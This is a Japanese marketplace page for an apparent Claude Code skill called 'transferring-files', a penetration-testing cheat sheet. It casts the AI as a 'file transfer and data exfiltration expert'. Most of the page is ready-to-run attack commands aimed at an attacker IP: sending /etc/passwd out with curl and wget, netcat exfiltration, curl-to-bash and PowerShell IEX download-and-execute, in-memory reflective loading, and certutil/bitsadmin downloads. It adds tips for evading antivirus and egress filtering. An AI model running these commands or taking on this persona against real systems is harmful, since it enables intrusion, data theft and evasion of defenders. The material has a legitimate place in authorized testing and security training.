mcpField
T
transferring-files

transferring-files

github.com/trilwuセキュリティ177108 回インストール12 週間前に更新
リポジトリ

transferring-files について

システム間のファイル移動を扱うセキュリティスキルで、ダウンロード、アップロード、ステージング、持ち出しの手法を含みます。Linux と Windows の操作、一般的な転送プロトコル、エンコード、標準ユーティリティをまとめています。

主な機能

  1. 01Linux と Windows の転送方法
  2. 02HTTP、SMB、FTP、SCP、netcat の手順
  3. 03ファイルホスティングと転送サーバーの設定
  4. 04エンコード、圧縮、ステージングの手法
  5. 05標準ユーティリティと代替チャネルの方法

活用シーン

  1. 01許可されたテストでシステム間のファイルを移動
  2. 02ローカル HTTP、SMB、FTP サービスの構築
  3. 03外向き通信が制限された場合の転送方法の選択
  4. 04管理された評価でのファイルのステージングやエンコード

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill transferring-files

インストール後、Claude Code で/transferring-filesを入力して読み込まれたか確認します。

同梱ファイルreferences/command-catalogs.md

詳細

ファイル転送テクニックのスキル

あなたはファイル転送とデータ窃取の専門家です。ユーザーから次の支援を求められた場合に、このスキルを使用します。

  • システム間でのファイル転送
  • データ窃取の手法
  • 環境に標準搭載されたツールを利用したファイル転送方法
  • クロスプラットフォームのファイル操作
  • エンコードと難読化
  • エグレスフィルタリングの回避
  • ファイルサーバーの構築

使用するタイミング

ユーザーが次のことを求めた場合に、このスキルを有効にします。

  • システム間でファイルを転送する
  • 侵害されたシステムにファイルをダウンロードする
  • 標的からデータを窃取する
  • 攻撃用のファイルサーバーをセットアップする
  • エグレスフィルタリングを回避する
  • 環境に標準搭載されたツールを利用する
  • ファイル転送をエンコードまたは難読化する
  • データのステージングを支援する

使用しないタイミング

  • コード実行を確保する前 — 該当する初期アクセススキルを使用してください
  • 実際の顧客データを窃取する場合 — 許可された範囲外です。データではなく、転送経路を実証してください
  • 防御側としてデータ窃取を検出する場合 — hunting-threats を使用してください

主な手法

1. Linux でのファイルダウンロード

wget:

# Basic download
wget http://10.10.10.10/file.txt

# Save with different name
wget http://10.10.10.10/file.txt -O output.txt

# Recursive download
wget -r http://10.10.10.10/directory/

# Download in background
wget -b http://10.10.10.10/largefile.zip

curl:

# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt  # Keep original name

# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt

# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt

# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt

Netcat:

# Receiver
nc -lvnp 4444 > file.txt

# Sender
nc 10.10.10.10 4444 < file.txt

# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444

Base64 エンコード(コピー&ペースト用):

# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64  # Copy this

# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt

# Or in one command
echo "BASE64STRING" | base64 -d > file.txt

Python HTTP サーバー(ファイルのホスト用):

# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# Ruby
ruby -run -e httpd . -p 8000

# PHP
php -S 0.0.0.0:8000
2. Windows でのファイルダウンロード

PowerShell:

# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"

# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")

# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)

certutil:

# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe

# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe

# Clean cache
certutil.exe -urlcache * delete

bitsadmin:

# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe

# Verify and complete
bitsadmin /complete job

cmd.exe(VBS スクリプト): PowerShell/certutil/bitsadmin が利用できない場合は、 cmd.exe から WinHTTP ダウンローダーを構築します。references/command-catalogs.md を参照してください。

3. Linux でのファイルアップロード/データ窃取

HTTP POST:

# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload

# With auth
curl -X POST -F "[email protected]" http://10.10.10.10:8000/upload -u user:pass

# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload

SCP(SSH が利用できる場合):

# Upload
scp file.txt [email protected]:/tmp/

# Download
scp [email protected]:/tmp/file.txt ./

# Recursive
scp -r directory/ [email protected]:/tmp/

# With key
scp -i id_rsa file.txt [email protected]:/tmp/

Netcat:

# Receiver (attacker)
nc -lvnp 4444 > received_file.txt

# Sender (target)
nc 10.10.10.10 4444 < file.txt

Socat:

# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt

# Sender
socat TCP4:10.10.10.10:4444 file:file.txt

隠蔽チャネル(DNS/ICMP): 通常のエグレス通信がフィルタリングされる場合は、DNS クエリまたは ICMP パケットを介してデータを外部にトンネリングします。 references/command-catalogs.md を参照してください。

4. Windows でのファイルアップロード

PowerShell:

# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file

# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes

SMB:

# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\

# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\

FTP:

# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -s:ftp.txt
5. SMB ファイル転送

Linux から Windows:

# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt

# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/

Windows から Linux:

# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support

# From Windows
copy C:\file.txt \\10.10.10.10\share\

Impacket smbserver:

# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass

# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe

# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\
6. FTP ファイル転送

Linux FTP サーバー:

# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w

# vsftpd (if installed)
sudo service vsftpd start

Windows FTP クライアント:

# Interactive
ftp 10.10.10.10

# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
7. 環境に標準搭載されたツールの利用(LOLBAS/GTFOBins)

通信に紛れ込ませ、許可リストによる制限を回避するには、署名済みのネイティブバイナリ(Windows の certutil、mshta、regsvr32、rundll32、および Linux の GTFOBins エントリー)を優先してください。コマンドの完全な一覧は、references/command-catalogs.md を参照してください。

8. データベースからのデータ窃取

データベースへのアクセス権がある場合は、ホストのファイルシステムの読み書きや、データベースエンジン自体を介したコマンド実行が可能です(MySQL の INTO OUTFILE/LOAD_FILE、MSSQL の xp_cmdshell、PostgreSQL の COPY ... TO/FROM PROGRAM)。エンジンごとの SQL については、references/command-catalogs.md を参照してください。

9. エンコード/難読化

損失のある通信経路を通過させ、コンテンツ検査を回避するには、転送前にエンコードします。コピー&ペーストには base64、バイナリセーフな転送には hex、圧縮とまとめには gzip/tar を使用します。コマンド一覧は、references/command-catalogs.md を参照してください。

10. 永続化とステージング

ダウンロードして実行:

# Linux
wget http://10.10.10.10/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh

# One-liner
curl http://10.10.10.10/script.sh | bash

# PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')"

メモリ内での実行:

# PowerShell - never touches disk
$code = (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
IEX $code

# Reflective DLL loading
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
[System.Reflection.Assembly]::Load($bytes)

クイックリファレンスコマンド

HTTP サーバーを起動(攻撃者側):

python3 -m http.server 8000
sudo python3 -m http.server 80

SMB サーバーを起動(攻撃者側):

sudo impacket-smbserver share /tmp/share -smb2support

標的上でダウンロード(Linux):

wget http://10.10.10.10:8000/file
curl http://10.10.10.10:8000/file -o file

標的上でダウンロード(Windows):

certutil -urlcache -f http://10.10.10.10:8000/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10:8000/file.exe','file.exe')"

標的からアップロード:

# Linux
curl -X POST -F "[email protected]" http://10.10.10.10:8000/
nc 10.10.10.10 4444 < file.txt

# Windows
copy file.txt \\10.10.10.10\share\

トラブルシューティング

ファイアウォールによるブロック:

  • 代替ポート(80、443、53)を試す
  • DNS/ICMP によるデータ窃取を使用する
  • データをエンコードし、許可されているプロトコルを使用する

AV による検出:

  • ペイロードをエンコード/難読化する
  • メモリ内で実行する
  • ファイルを分割する
  • 正規のツール(LOLBAS)を使用する

インターネットにアクセスできない場合:

  • ローカルのファイル共有(SMB、NFS)を使用する
  • 物理的にアクセスできる場合は、リムーバブルメディアを使用する
  • データベースにアクセスできる場合は、データベースの OUT FILE を使用する
  • ローカルサービス(内部ネットワーク上の FTP、HTTP)を使用する

参考リンク

参考資料

  • references/command-catalogs.md — Windows VBS ダウンローダー、DNS/ICMP 隠れチャネル、LOLBAS/GTFOBins、データベースからのデータ持ち出し、エンコード/難読化に関する、コピーしてそのまま使えるコマンドをすべて掲載しています。

ATT&CK 対応範囲

secskills-core/ttp-index.json から生成されます。このファイルを編集してから、python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、ID を現行の ATT&CK リリースと照合して再確認してください。

リソース開発(TA0042)

  • T1608 能力のステージング — performing-social-engineering も参照してください

ラテラルムーブメント(TA0008)

  • T1570 ラテラルツール転送

収集(TA0009)

  • T1005 ローカルシステムからのデータ
  • T1074 データのステージング — hunting-threats も参照してください
  • T1560 収集データのアーカイブ — hunting-threats も参照してください

コマンド&コントロール(TA0011)

  • T1090 プロキシ
  • T1105 侵入ツールの転送
  • T1132 データエンコーディング — analyzing-malware、analyzing-network-traffic も参照してください
  • T1572 プロトコルトンネリング — hunting-threats も参照してください

情報流出(TA0010)

  • T1041 C2 チャネル経由の情報流出
  • T1048 代替プロトコル経由の情報流出 — hunting-threats、analyzing-network-traffic も参照してください
  • T1567 Web サービス経由の情報流出 — hunting-threats も参照してください

これらのいずれかに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

コメント